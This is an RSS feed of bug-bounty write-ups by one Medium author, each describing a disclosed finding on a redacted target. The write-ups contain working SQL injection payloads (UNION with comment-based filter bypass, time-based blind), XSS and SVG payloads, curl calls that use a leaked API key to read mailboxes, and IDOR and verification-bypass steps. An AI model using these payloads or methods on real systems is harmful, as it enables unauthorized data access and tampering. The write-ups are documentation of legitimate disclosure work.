<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
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        <title><![CDATA[Stories by samet on Medium]]></title>
        <description><![CDATA[Stories by samet on Medium]]></description>
        <link>https://medium.com/@xelcezeri?source=rss-51d79a0d79bb------2</link>
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            <title>Stories by samet on Medium</title>
            <link>https://medium.com/@xelcezeri?source=rss-51d79a0d79bb------2</link>
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        <lastBuildDate>Mon, 16 Nov 2026 23:39:18 GMT</lastBuildDate>
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            <title><![CDATA[Bypassing Filters to Achieve UNION-Based SQL Injection on a Search Endpoint]]></title>
            <link>https://medium.com/@xelcezeri/bypassing-filters-to-achieve-union-based-sql-injection-on-a-search-endpoint-0f092ba254ed?source=rss-51d79a0d79bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f092ba254ed</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[samet]]></dc:creator>
            <pubDate>Sat, 08 Aug 2026 08:11:11 GMT</pubDate>
            <atom:updated>2026-08-08T08:53:04.122Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mtKTTCQEz8gFJQdULexG7g.png" /></figure><p><strong>Friend Link</strong></p><p><a href="https://medium.com/@xelcezeri/0f092ba254ed?source=friends_link&amp;sk=98f412a182f48ae93bce5ff2777a9252">https://medium.com/@xelcezeri/0f092ba254ed?source=friends_link&amp;sk=98f412a182f48ae93bce5ff2777a9252</a></p><h3>1. Finding the Entry Point</h3><p>During a recent assessment, I was probing an unauthenticated search feature on a target running an Apache Tomcat backend. The application contained an auto-suggest endpoint (/autosuggest.htm) that processed user queries via a q parameter.</p><p>When dealing with auto-complete features, applications frequently construct dynamic SQL queries behind the scenes to fetch matching results in real time — making them a prime target for injection flaws.</p><p>http://www.target.com/autosuggest.htm?q=</p><h3>2. Mapping the Query Structure (ORDER BY)</h3><p>To test for SQL Injection, my first step was determining whether user input was breaking out of the query context and how many columns were being selected by the original statement.</p><p>I began probing with ORDER BY clauses:</p><ul><li>q=test&#39; ORDER BY 8-- - returned a standard 200 OK response with XML results, confirming the query had at least 8 columns.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gS-A0i0khdGeL030lFMKQQ.png" /></figure><ul><li>q=test&#39; ORDER BY 9-- - triggered a 500 Internal Server Error (a stack trace from the underlying Spring/Tomcat framework), confirming that the query strictly expected <strong>8 columns</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GW7xGBt0kFvjvBuHRxcgoQ.png" /></figure><h3>3. Bypassing String Filters (/**/)</h3><p>Once the column count was established, I attempted a standard UNION SELECT payload to extract data. However, basic space-delimited keywords were blocked or sanitized by an inline filter.</p><p>To bypass this simple token detection, I substituted standard whitespace with inline MySQL comments (/**/ or //). By prepending a non-existent value (-1&#39;) to nullify the primary query results, the application was forced to reflect the output of my injected UNION statement.</p><p>Extracting the Active Database Name</p><pre>POST /autosuggest.htm HTTP/1.1<br>Host: [REDACTED]<br>Content-Type: application/x-www-form-urlencoded<br><br>q=-1&#39;/**/UNION/**/SELECT/**/1,database(),3,4,5,6,7,8-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UF8zoLoPSTzWKw66XQYeAg.png" /></figure><p>Response:</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt;<br>&lt;results&gt;<br>  &lt;rs id=&quot;1&quot; info=&quot;&quot;&gt;[REDACTED_DB_NAME]&lt;/rs&gt;<br>&lt;/results&gt;</pre><h3>4. Enumerating the Database Schema</h3><p>With a working execution vector and filter bypass, I queried the information_schema.tables catalog to dump the table structure:</p><pre>POST /autosuggest.htm HTTP/1.1<br>Host: [REDACTED]<br>Content-Type: application/x-www-form-urlencoded<br><br>q=-1&#39;/**/UNION/**/SELECT/**/1,group_concat(table_name),3,4,5,6,7,8/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=&#39;[REDACTED_DB_NAME]&#39;-- -</pre><p>Response:</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt;<br>&lt;results&gt;<br>  &lt;rs id=&quot;1&quot; info=&quot;&quot;&gt;CandidateNames,CountRegistry,Hierarchy,LSID,NCBI,NameMetadata,Publications,Ranks,users&lt;/rs&gt;<br>&lt;/results&gt;</pre><h3>5. Stopping at the Proof of Concept</h3><p>At this point, full read access to the database was proven. As an ethical researcher, I stopped testing immediately upon confirming table access — ensuring no PII or sensitive user credentials were exfiltrated from the users table.</p><p>Even though this report ultimately turned out to be a <strong>duplicate</strong>, the process itself was worth every second. Overcoming the filter with comments (/**/), mapping the exact column structure, and extracting the schema was an incredibly fun and rewarding technical exercise. In bug bounty, every duplicate is still a valuable addition to your methodology and toolset.</p><h3>Stay Connected</h3><ul><li><strong>X (Twitter):</strong> <a href="https://x.com/xelcezeri">@xelcezeri</a></li><li><a href="https://www.linkedin.com/in/xsametyigit/"><strong>LinkedIn:</strong> Samet Yiğit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f092ba254ed" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Exposing Administrative Secrets: How a Customer-Exposed Nylas Application Credential Enabled Grant…]]></title>
            <link>https://medium.com/@xelcezeri/exposing-administrative-secrets-how-an-exposed-nylas-client-secret-led-to-full-grant-and-email-4a852720f5ac?source=rss-51d79a0d79bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a852720f5ac</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[samet]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 11:34:21 GMT</pubDate>
            <atom:updated>2026-09-02T18:06:57.134Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exposing Administrative Secrets: How a Customer-Exposed Nylas Application Credential Enabled Grant and Email Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*dZBnt9m-9kQrAWi9PnkK8w.png" /></figure><p><strong><em>Important clarification:</em></strong> <em>This incident was caused by the affected company embedding its privileged Nylas application credential in publicly accessible client-side JavaScript, contrary to Nylas’s security guidance and standard secret-management practices. The researcher used the existing permissions associated with the exposed credential through documented Nylas APIs; no authorization bypass or privilege escalation was involved. The report and bounty process were handled by the affected company, and Nylas was not involved in the disclosure or triage process.</em></p><h3>1. The Discovery: Finding Secrets in the JS Bundle</h3><p>During a routine inspection of a test environment (.[REDACTED].com), I decided to analyze the compiled frontend assets. By digging into the production JavaScript bundle (main.[HASH].js), I discovered the <strong>affected company&#39;s Nylas application credentials</strong> hardcoded in the frontend bundle:</p><pre>const NYLAS_API_KEY = &quot;*****-[REDACTED]&quot;;</pre><p>According to Nylas’s official security best practices, API keys and other privileged application credentials should be kept securely in server-side environments and should not be exposed in client-side applications.</p><h3>2. The Triager’s Pushback: “What is the Impact?”</h3><p>Initially, the security team responsible for the affected company’s security program acknowledged the finding but requested a working Proof of Concept (POC) to demonstrate the actual business and security impact, questioning what an attacker could truly achieve with these credentials in a test environment.</p><p>When a security triage team treats hardcoded credentials in test/UAT environments lightly, a highly impactful, non-destructive technical demonstration can help demonstrate the real-world impact of the exposure.</p><h3>3. Using Documentation AI to Confirm the Exposure and API Behavior</h3><p>Before crafting the POC, I decided to consult <strong>Nylas’s documentation AI/LLM</strong> directly within their dashboard. I asked:</p><p>“Is the Nylas API key confidential? Should I include it in a public JavaScript file?”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IN890_bdP2rRiGpp" /></figure><p>The assistant confirmed that these credentials should not be exposed in client-side applications and should be handled securely.</p><p>After the credential had already been obtained, I also used the assistant to understand the documented Nylas API endpoints and HTTP methods relevant to the exposed credential. The assistant did not provide an authorization bypass or enable the credential exposure; it helped clarify documented API behavior that I subsequently used to validate the impact of the already-exposed credential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R4tEJ6xoiiT7rXrD" /></figure><h3>4. Demonstrating the Impact: Using the Exposed Privileged Credential</h3><h4>A. Validating the Exposed Credential &amp; Fetching Applications</h4><p>I authenticated successfully using the affected company’s exposed privileged credential:</p><pre>curl --request GET \<br>--url &#39;https://api.us.nylas.com/v3/applications&#39; \<br>--header &#39;Authorization: Bearer &lt;EXPOSED_NYLAS_API_KEY&gt;&#39; \<br>--header &#39;Content-Type: application/json&#39;</pre><h4>B. Enumerating Active Connectors &amp; Redirect URIs</h4><p>Using the same privileged credential, I queried the redirect URIs registered under the affected company’s Nylas application:</p><pre>curl --request GET \<br>--url &#39;https://api.us.nylas.com/v3/applications/redirect-uris&#39; \<br>--header &#39;Authorization: Bearer &lt;EXPOSED_NYLAS_API_KEY&gt;&#39; \<br>--header &#39;Content-Type: application/json&#39;</pre><p><em>Result:</em> I retrieved a complete list of valid OAuth callback and redirect URIs mapping to Localhost, Test, and UAT servers. The exposed privileged credential already had the permissions required for these application-level configuration operations, including the ability to add, modify, or delete callback URIs.</p><h3>5. Demonstrating Grant and Email Access</h3><p>To solidify the severity of the leak, I queried the grants endpoint. Grants represent specific user authorizations allowing the application to access their calendars and mailboxes.</p><pre>curl --request GET \<br>--url &#39;https://api.us.nylas.com/v3/grants&#39; \<br>--header &#39;Authorization: Bearer &lt;EXPOSED_NYLAS_API_KEY&gt;&#39; \<br>--header &#39;Content-Type: application/json&#39;</pre><p>These grants belonged only to the affected company’s Nylas application; the exposed credential did not provide access to grants or mailboxes associated with other Nylas customer applications.</p><ul><li><strong>User Emails</strong> (e.g., test accounts, developer mailboxes).</li><li><strong>Specific Google/Gmail OAuth Scopes</strong> (including gmail.readonly, gmail.send, and calendar.events.readonly).</li><li><strong>User IP Addresses &amp; User Agents</strong>.</li></ul><h4>Accessing Live Messages</h4><p>By taking an active Grant ID obtained from the list, I sent a request directly to the messages API endpoint to retrieve the mailbox content:</p><pre>curl --request GET \<br>--url &#39;https://api.us.nylas.com/v3/grants/[ACTIVE_GRANT_ID]/messages&#39; \<br>--header &#39;Authorization: Bearer &lt;EXPOSED_NYLAS_API_KEY&gt;&#39; \<br>--header &#39;Content-Type: application/json&#39; \<br>-o output.json</pre><p><em>Result:</em> <strong>The API successfully returned live email threads and messages</strong> from the affected company’s testing mailboxes. <em>This demonstrated the potential impact of the exposed privileged credential.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uuLsOi8XuyC6OwZktB87Lw.png" /></figure><h3>The Resolution: Triage and Bounty</h3><p>Although the security team handling the affected company’s security program initially considered the finding a “test-only” leak with no production impact, the detailed POC demonstrating active grant enumeration and mailbox queries helped establish the security impact of the exposed credential.</p><p>The finding was ultimately handled through the affected company’s security disclosure and bounty process. Nylas was not involved in the triage or disclosure process, and the bounty referenced in this article was not paid by Nylas.</p><p>Even though this was a test environment, it was an incredibly valuable finding. It forced me to research the exposed credential, map the documented API functionality available to it, and build a clear, repeatable methodology for assessing the impact of exposed privileged credentials.</p><h3>Stay Connected</h3><ul><li><strong>X (Twitter):</strong> <a href="https://x.com/xelcezeri">@xelcezeri</a></li><li><a href="https://www.linkedin.com/in/xsametyigit/"><strong>LinkedIn:</strong> Samet Yiğit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a852720f5ac" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Chaining Logic Flaws: From KYC Bypass to Authenticated Time-Based SQLi and Mass IDOR]]></title>
            <link>https://medium.com/@xelcezeri/chaining-logic-flaws-from-kyc-bypass-to-authenticated-time-based-sqli-and-mass-idor-0425f362dad5?source=rss-51d79a0d79bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/0425f362dad5</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[samet]]></dc:creator>
            <pubDate>Sun, 03 May 2026 16:47:45 GMT</pubDate>
            <atom:updated>2026-05-03T16:47:45.062Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*KasAQhh6vEclehnhMQ1EMg.png" /></figure><h3>1. Entry Point: Phone Verification (KYC) Bypass</h3><p>The application enforces a mandatory phone verification step after registration at a specific gate. However, this was implemented as a weak client-side redirect.</p><ul><li><strong>Vulnerability:</strong> Broken Access Control / Bypass.</li><li><strong>Methodology:</strong></li></ul><ol><li>Register a new account.</li><li>Intercept the redirect to the verification endpoint.</li></ol><p><strong>https://test.com/public/kyc-approval?customerId=X&amp;redirect_uri=/public/profile</strong></p><ol><li>Manually modify the URL to the user profile path and stop the page load before the redirect triggers.</li></ol><p><a href="https://test.com/public/profile"><strong>https://test.com/public/profile</strong></a></p><p>To make it persistent, I used Burp’s rule to automatically swap the verification URL with the profile URL in every outgoing request.</p><ul><li><strong>Result:</strong> Full access to the authenticated user dashboard without completing the required KYC process.</li></ul><h3>2. Deep Dive: Authenticated Time-Based SQL Injection</h3><p>Once the KYC gate was bypassed, I analyzed the authenticated API traffic. An endpoint used for managing records caught my attention due to its parameter handling.</p><ul><li><strong>Target Endpoint:</strong> POST <a href="https://api.[REDACTED].com/api/case">https://api.[REDACTED].com/api/case</a></li><li><strong>Vulnerable Parameter:</strong> …Id</li><li><strong>Payload:</strong> &#39;XOR(if(now()=sysdate(),sleep(4),0))XOR&#39;Z</li><li><strong>Observation:</strong> The server responded with a consistent 4-second delay, confirming that the backend was executing the injected SQL command.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XA5tgpytcEpUOpqaPmw8mA.png" /></figure><h3>3. Expanding the Attack Surface: Double IDOR (Create &amp; Delete)</h3><p>The lack of proper authorization checks extended to object-level references, allowing for complete manipulation of other users’ data.</p><h4>A. Unauthorized Record Creation</h4><ul><li><strong>Vulnerability:</strong> IDOR in the owner identification parameter.</li></ul><p><strong>Exploit:</strong> By modifying the ....Id in the POST /api/case request (e.g., from my ID to a victim’s ID), I could create or update records on behalf of any user.</p><h4>B. Unauthorized Record Deletion</h4><ul><li><strong>Vulnerability:</strong> IDOR in the delete endpoint.</li></ul><p><strong>Exploit:</strong></p><ol><li>Intercept the delete request: POST /api/case/[ID]/delete.</li><li>Change the object ID to a victim’s ID.</li></ol><ul><li><strong>Result:</strong> The system deleted the victim’s record without verifying if the authenticated user was the actual owner.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/229/1*xa6rwGQZsgtH_62mTAuuSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*rf_KhLFL9DYDR_WmoQY6mw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/218/1*Fgv6hNTwCxPb8WGgIwuAFQ.png" /></figure><h3>Stay Connected</h3><ul><li><strong>X (Twitter):</strong> <a href="https://x.com/xelcezeri">@xelcezeri</a></li><li><a href="https://www.linkedin.com/in/xsametyigit/"><strong>LinkedIn:</strong> Samet Yiğit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0425f362dad5" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Full-Chain Exploitation: From Recon to Blind SQLi]]></title>
            <link>https://medium.com/@xelcezeri/full-chain-exploitation-from-recon-to-blind-sqli-239eed0252a2?source=rss-51d79a0d79bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/239eed0252a2</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[samet]]></dc:creator>
            <pubDate>Mon, 02 Feb 2026 20:09:20 GMT</pubDate>
            <atom:updated>2026-02-02T20:09:20.671Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*7UT-bH1eeq1kIom3EddE0w.png" /></figure><p>Hi everyone! I recently received an invitation to a private VDP program and decided to take a quick look. There were a few wildcard domains listed. As a first step, I gathered all the subdomains related to those wildcards. Then, I identified which ones were live and filtered them based on their status codes, creating a clean and organized list.</p><p><strong>1 — HTML Injection in Email via Name Field</strong></p><p>I started by quickly checking the domains that returned a 200 OK status. One of the domains had a “sign up” option. I noticed that the “name” parameter in the registration form reflected HTML input inside an email sent later to the user. I reported this finding, but unfortunately, it was marked as a duplicate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/143/1*v7QzYWnJjjqDgxHXj-TTNg.png" /><figcaption>&lt;a href=attacker.com&gt;cezeri was here&lt;/a&gt;</figcaption></figure><p><strong>2 — Bypassing Email Verification via Response Manipulation</strong></p><p>While testing the registration process, I noticed that the system required a 6-digit verification code. I entered a random code like “000000” and intercepted the request using Burp Suite. Then, I manipulated the server’s response by changing &quot;status&quot;: &quot;false&quot; to &quot;status&quot;: &quot;true&quot;, which allowed me to successfully complete the registration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*9CjwkYoDalgwSUvM6Puupg.png" /></figure><p>I didn’t report this right away and kept exploring the application. When I clicked on “Forgot Password”, the system again sent a 6-digit verification code. I tried the same response manipulation technique here, and once again, I was able to bypass the verification. However, since the system also asked for an additional piece of information along with the email, the impact wasn’t classified as <strong>critical</strong>, but was still marked as <strong>high</strong>.</p><p><strong>3 — Publicly Accessible API Log File Exposing API Keys and Full PII of Leads</strong></p><p>I spent some more time exploring the domain, but couldn’t find anything noteworthy at first. However, one domain that returned a 404 status caught my attention. When I visited it, it simply showed a blank page. I ran dirsearch using default settings without any custom wordlist and discovered a path named /api.log.</p><p>When I visited the path, the page was loading extremely slowly — after waiting for several minutes, it still hadn’t fully loaded and eventually crashed with a “page unresponsive” error. After waiting for about a minute, I manually stopped the loading. In the partially loaded content, I discovered sensitive information of millions of users, including full names, email addresses, phone numbers, physical addresses, and API keys.<br>Shortly after I reported it, the issue was triaged and quickly fixed by the team.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*K4oZy-wUD4Fq-uEnLSzrdQ.png" /><figcaption>/api.log</figcaption></figure><p><strong>4 — Reflected XSS, Stored XSS, Post-Based XSS Before Diving Into SQL Injection</strong></p><p>After reporting the previous finding, I took a short break and then resumed scanning the remaining domains. Interestingly, I discovered all the remaining vulnerabilities within a single domain — including multiple Reflected XSS, Stored XSS, Post-Based XSS, and two Blind SQL Injection vulnerabilities.</p><p>I started by manually browsing the site and performing some basic directory enumeration, but didn’t get any meaningful results. I ran arjun on the homepage and discovered a few parameters that were vulnerable to XSS—two Reflected XSS issues were identified and noted.</p><p>Next, I went through each page from the navbar and analyzed them one by one. There were three different login forms across the site. I ran arjun on these pages as well and found vulnerabilities in both GET and POST requests.<strong>(username,password,errormsg,code parameters …)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*NJZsT56UDMMBkPksE_fGOg.png" /><figcaption>“&gt;&lt;script&gt;alert(“elcezeri”)&lt;/script&gt;</figcaption></figure><p>Additionally, there was a <strong>ticket submission form</strong> in the application. After submitting a ticket, the system would return a ticket ID via the code parameter (e.g., tst.com/?code=123xa21). When I visited this page, I could see all the data I had submitted in the form.<br>First, I noticed that the code parameter itself was vulnerable to Reflected XSS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*QWObEzRh9WF66QSfGKQxmQ.png" /></figure><p>Then I injected XSS payloads into fields like username and address while creating the ticket. When the ticket was later viewed via the code URL, the payloads executed successfully, confirming a <strong>Stored XSS</strong> vulnerability.<br><strong>Blind XSS</strong> attempts were unsuccessful, but <strong>Stored XSS</strong> was triggered reliably. I reported these findings as well.</p><p><strong>5 — Wrapping Up with a Time-Based Blind SQL Injection</strong></p><p>After reporting the XSS vulnerabilities on the three different login pages, I tried SQL Injection payloads in various parameters and headers — but didn’t find anything conclusive. I then focused on the /auth endpoint and used a wordlist to fuzz paths like /auth/FUZZ. That’s when I discovered the /auth/admin directory.</p><p>In this endpoint, I once again found XSS vulnerabilities in the username, password, and errormsg parameters—similar to the previous ones—and reported them. Next, I started testing for SQL Injection. I injected the following payload into the username field:<br>&#39;XOR(if(now()=sysdate(),sleep(6),0))XOR&#39;<br>The response took about <strong>13.8 seconds</strong>, which caught my attention. To rule out false positives, I tried alternative payloads and noticed consistent response delays—approximately <strong>2x longer</strong> than usual.</p><p>When I reported it, the team asked for more technical details. Tools like sqlmap and gahuri didn’t work at first, so I began customizing the payloads manually—with the help of ChatGPT. The final payload worked, especially since the application sometimes returned inconsistent responses, making manual testing essential. I submitted the refined report, and the team quickly patched the issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/243/0*24yC5y9-peZhoWZm.png" /><figcaption>&#39;XOR(if(now()=sysdate(),sleep(6),0))XOR&#39;</figcaption></figure><p><strong>And with that, I submitted the final finding for this program.</strong><br>To be honest, since it was a VDP program, I wasn’t planning to dig too deep. But because I genuinely enjoy hunting and had a lot of fun along the way, I decided to dedicate more time to it.</p><p>Ultimately, despite this being a VDP, my curiosity and passion for the craft drove me to invest significant time into this target. Beyond just finding bugs, the real reward was identifying impactful vulnerabilities that fundamentally strengthened the platform’s security posture. For me, bug bounty is as much about the thrill of the hunt as it is about making the digital world a safer place</p><h3>Stay Connected</h3><ul><li><strong>X (Twitter):</strong> <a href="https://x.com/xelcezeri">@xelcezeri</a></li><li><a href="https://www.linkedin.com/in/xsametyigit/"><strong>LinkedIn:</strong> Samet Yiğit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=239eed0252a2" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[The Multi-Bug Streak: Uncovering 4 Vulnerabilities on a Single Target]]></title>
            <link>https://medium.com/@xelcezeri/the-multi-bug-streak-uncovering-4-vulnerabilities-on-a-single-target-1b4daa50dad2?source=rss-51d79a0d79bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b4daa50dad2</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[samet]]></dc:creator>
            <pubDate>Sat, 24 Jan 2026 19:23:42 GMT</pubDate>
            <atom:updated>2026-01-24T19:23:42.744Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*9GFHie9YZm2HiBfjGQq1iw.png" /></figure><p>In bug bounty hunting, there is a golden rule: <strong>The more time you spend on a target, the more its secrets unfold.</strong> Many researchers move on after finding their first bug, but I prefer a “deep dive” approach. Today, I’m sharing how I discovered four different vulnerabilities — ranging from SVG XSS to IDOR — on a single VDP program by simply testing every function.</p><p><strong>Note:</strong> <em>This is a series of vulnerabilities I discovered in early 2024. Due to disclosure policies and timing, I’m only able to share the details with you now.</em></p><h3>Bug 1–2: HTML Injection &amp; XSS via Profile Description</h3><p>My first stop was the /profile section. I started by testing the &quot;Edit Profile&quot; description field with simple characters like 123&lt;&gt;.</p><ul><li><strong>Discovery:</strong> The page source revealed that the input was reflected directly without any filtering or WAF protection.</li><li><strong>Exploitation:</strong> I injected &lt;h1&gt; tags for visual impact and an &lt;a&gt; tag to redirect users. This confirmed that any user visiting the profile would execute my HTML/JS payload.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*baj3ruP3cTh39cEIVFlAKA.png" /></figure><h3>Bug 3: XSS via SVG (Bypassing the Content Filter)</h3><p>The application had a public dashboard where users could create posts. While standard tags like &lt;script&gt; were strictly blocked, I noticed the app allowed <strong>SVG file uploads</strong> for images.</p><ul><li><strong>The Technique:</strong> I prepared a malicious .svg file containing an XSS payload.</li><li><strong>The Result:</strong> Even when security filters are in place for text inputs, file uploads are often overlooked. When the SVG was opened in a new tab or viewed directly, the XSS triggered successfully.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*RrnbpQPfmt595cbr7qs1qw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*ORV-e-gjSqGqnY3ODVv2UQ.png" /><figcaption><strong>sometimes it doesn’t allow svg, so capture the request with burp and set the file extension to svg.png or you can try changing the content type header</strong></figcaption></figure><h3>Bug 4: IDOR — Unauthorized Post Deletion</h3><p>This was the most critical finding. While interacting with the dashboard, I captured a “Delete Post” request using Burp Suite.</p><ul><li><strong>The Attack:</strong> I identified the POSTID parameter. I then initiated a deletion for my own post but swapped my ID with a victim&#39;s POSTID.</li><li><strong>Result:</strong> The server failed to verify ownership, allowing me to delete any post on the platform.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*MjCqGVuOu2y85405HyiqWA.png" /></figure><p>Out of 4 reports, 3 were accepted immediately. This experience reinforced a key lesson: Don’t just scratch the surface. If you find one bug, keep digging. There is a high chance that the developers made similar mistakes in other parts of the same application.</p><h3>Stay Connected</h3><ul><li><strong>X (Twitter):</strong> <a href="https://x.com/xelcezeri">@xelcezeri</a></li><li><a href="https://www.linkedin.com/in/xsametyigit/"><strong>LinkedIn:</strong> Samet Yiğit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b4daa50dad2" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Simple Endpoint, Critical Impact: How I Sabotaged Refunds]]></title>
            <link>https://medium.com/@xelcezeri/simple-endpoint-critical-impact-how-i-sabotaged-refunds-1cd0ac7a4cb2?source=rss-51d79a0d79bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/1cd0ac7a4cb2</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[samet]]></dc:creator>
            <pubDate>Fri, 23 Jan 2026 07:42:59 GMT</pubDate>
            <atom:updated>2026-01-23T07:42:59.449Z</atom:updated>
            <content:encoded><![CDATA[<p>When hunting in programs that have been active for years, many researchers fear “duplicates.” However, bugs often hide in specific functional workflows that others might overlook. Today, I’ll share how I found a simple but impactful IDOR vulnerability on a well-established e-ommerce site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*ElDgo17_1uO3AnzEGHu74A.png" /></figure><h3>The Strategy: Understanding the Flow</h3><p>I spent 1–2 hours just browsing target.com without sending complex payloads. My goal was simple: Understand how the business logic works. After testing price manipulation and common business logic flaws without success, I decided to test the <strong>Return &amp; Refund</strong> system.</p><h3>The Discovery: Intercepting the Return Request</h3><p>I made a legitimate purchase and then initiated a return request while the order was still in the “preparation” phase. When I clicked the return button, I intercepted the following request: <a href="https://www.target.com/return/rorderID=1123">https://www.target.com/return/rorderID=1123</a></p><h3>The Attack: Disrupting the Refund Process</h3><p>I noticed the rorderID was a simple integer. I quickly tested the previous IDs:</p><ul><li>.../return/rorderID=1122</li><li>.../return/rorderID=1121</li></ul><p><strong>The Result:</strong> I successfully accessed the return pages of other users. While I couldn’t see their private PII (Personally Identifiable Information), the page gave me a critical option: <strong>“Cancel Refund Request.”</strong></p><p>By simply changing the ID, I could cancel any user’s refund, preventing them from getting their money back. This is a classic example of an IDOR leading to unauthorized functional manipulation.</p><h3>Conclusion &amp; Reward</h3><p>I reported the finding immediately. Despite the program being two years old, this specific endpoint had been overlooked.</p><ul><li><strong>Timeline:</strong> Reported and accepted within 24 hours.</li><li><strong>Bounty:</strong> $$$.</li></ul><h3>Stay Connected</h3><ul><li><strong>X (Twitter):</strong> <a href="https://x.com/xelcezeri">@xelcezeri</a></li><li><a href="https://www.linkedin.com/in/xsametyigit/"><strong>LinkedIn:</strong> Samet Yiğit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1cd0ac7a4cb2" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Broken Math: Exploiting Business Logic for Price Manipulation]]></title>
            <link>https://medium.com/@xelcezeri/broken-math-exploiting-business-logic-for-price-manipulation-ad52f1c47f3a?source=rss-51d79a0d79bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad52f1c47f3a</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[samet]]></dc:creator>
            <pubDate>Sun, 18 Jan 2026 08:15:04 GMT</pubDate>
            <atom:updated>2026-01-18T08:15:04.271Z</atom:updated>
